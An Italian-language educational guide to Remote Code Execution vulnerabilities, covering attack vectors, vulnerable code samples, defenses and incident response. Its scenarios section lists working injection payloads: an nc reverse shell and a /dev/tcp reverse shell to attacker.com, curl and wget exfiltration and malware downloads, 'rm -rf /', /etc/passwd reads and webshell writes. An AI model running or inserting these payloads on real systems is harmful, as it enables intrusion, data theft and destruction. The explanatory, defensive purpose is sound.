1) Overview della Vulnerabilità
La Remote Code Execution (RCE) rappresenta una delle vulnerabilità più critiche nel panorama della cybersecurity. Permette a un attaccante di eseguire codice arbitrario su un sistema target da una posizione remota, potenzialmente ottenendo il controllo completo del sistema compromesso.
Statistiche e Impatto
- Secondo il report IBM X-Force 2023, gli attacchi RCE sono aumentati del 33% rispetto all’anno precedente
- CVE Details riporta che le vulnerabilità RCE rappresentano il 25% delle vulnerabilità critiche (CVSS 9.0-10.0) nel 2023
- Il costo medio di un incidente RCE è stimato in $1.1 milioni secondo Ponemon Institute
- Log4Shell, una vulnerabilità RCE critica, ha impattato oltre 3 milioni di sistemi Java nel 2021-2022
2) Vettori di Attacco Comuni
1. Deserializzazione Non Sicura
// Esempio vulnerabile ObjectInputStream in = new ObjectInputStream(inputStream); Object obj = in.readObject(); // Potenziale RCE
2. Command Injection
# Codice vulnerabile
user_input = input("Enter filename: ")
os.system("cat " + user_input) # Pericoloso
3. Template Injection
# Flask vulnerabile
@app.route('/page')
def page():
template = request.args.get('template')
return render_template_string(template) # RCE potenziale
3) Come Funziona
Esempio Base Vulnerabile:
# Codice vulnerabile
user_input = input("Enter filename: ")
os.system("cat " + user_input)
Questo codice è vulnerabile perché un attaccante può inserire caratteri speciali come:
file.txt; ls # Esegue 'cat file.txt' poi 'ls' file.txt && id # Esegue 'cat file.txt' e se ha successo esegue 'id' `id` # Esegue il comando id e usa l'output $(whoami) # Variante moderna della command substitution
4) Scenari di Attacco Comuni
A. Concatenamento Comandi:
# Input malevolo file.txt; rm -rf / # Cancellazione file file.txt; nc -e /bin/bash attacker.com 4444 # Reverse shell file.txt || curl http://attacker.com/data # Esfiltrazione dati
B. Command Substitution
# Input malevolo `wget http://malicious.com/malware` # Download malware $(curl http://attacker.com/$(whoami)) # Esfiltrazione username
C. Input Redirection
# Input malevolo file.txt < /etc/passwd # Lettura file sensibili file.txt > /var/www/html/shell.php # Scrittura webshell
D. Compromissione Server Web
# Payload comune curl 'http://target.com/vulnerable.php?cmd=whoami'
E. Reverse shell
# Payload base64 encoded echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | base64
F. Lateral movement
# Esempio di movimento laterale post-RCE New-PSSession -ComputerName DC01 -Credential $creds
5) Strumenti di Testing
- Metasploit Framework Scanner automatizzati Exploit preconfigurati Post-exploitation tools
- Burp Suite Professional Scanner vulnerabilità Repeater per test manuali Intruder per fuzzing
- Nuclei Template-based scanning Automazione custom Reporting integrato
6) Misure di Difesa
1. Hardening del Sistema
# Esempio di hardening Apache ServerTokens Prod ServerSignature Off TraceEnable Off
2. waf
# ModSecurity rule esempio
SecRule ARGS_NAMES "@rx cmd|exec|system" \
"id:1234,deny,status:403,msg:'Potential RCE'"
3. Input validation
import shlex
def safe_command(command, args):
safe_args = shlex.quote(args)
whitelist = ['ls', 'cat', 'echo']
if command not in whitelist:
raise ValueError("Command not allowed")
return f"{command} {safe_args}"
7) Best Practices di Prevenzione
- Patch Management Implementare patching automatizzato Definire SLA per patch critiche Monitorare CVE rilevanti
- Least Privilege Configurare AppArmor/SELinux Utilizzare container con privilegi limitati Implementare RBAC
- Monitoring SIEM configuration EDR deployment Network segmentation
8) Risorse Utili
Training
- PortSwigger Web Academy – RCE labs
- PentesterLab – Esercizi pratici
- VulnHub – VM vulnerabili
Tools
- PayloadsAllTheThings – RCE payloads
- GTFOBins – Privilege escalation
- Nuclei Templates – Scanner templates
Documentation
9) Incident Response Plan
- Isolamento Disconnettere sistema compromesso Preservare evidenze forensi Documentare azioni intraprese
- Investigazione Analisi log di sistema Memory dump analysis Network traffic review
- Remediation Patch vulnerabilità Rebuild sistema Hardening configurazione
- Lessons Learned Root cause analysis Update procedure Training team
10) Conclusione
La protezione contro gli attacchi RCE richiede un approccio stratificato che combina:
- Monitoraggio proattivo
- Patch management efficace
- Training del personale
- Incident response preparato
La chiave è mantenere un programma di security continuamente aggiornato e testato.




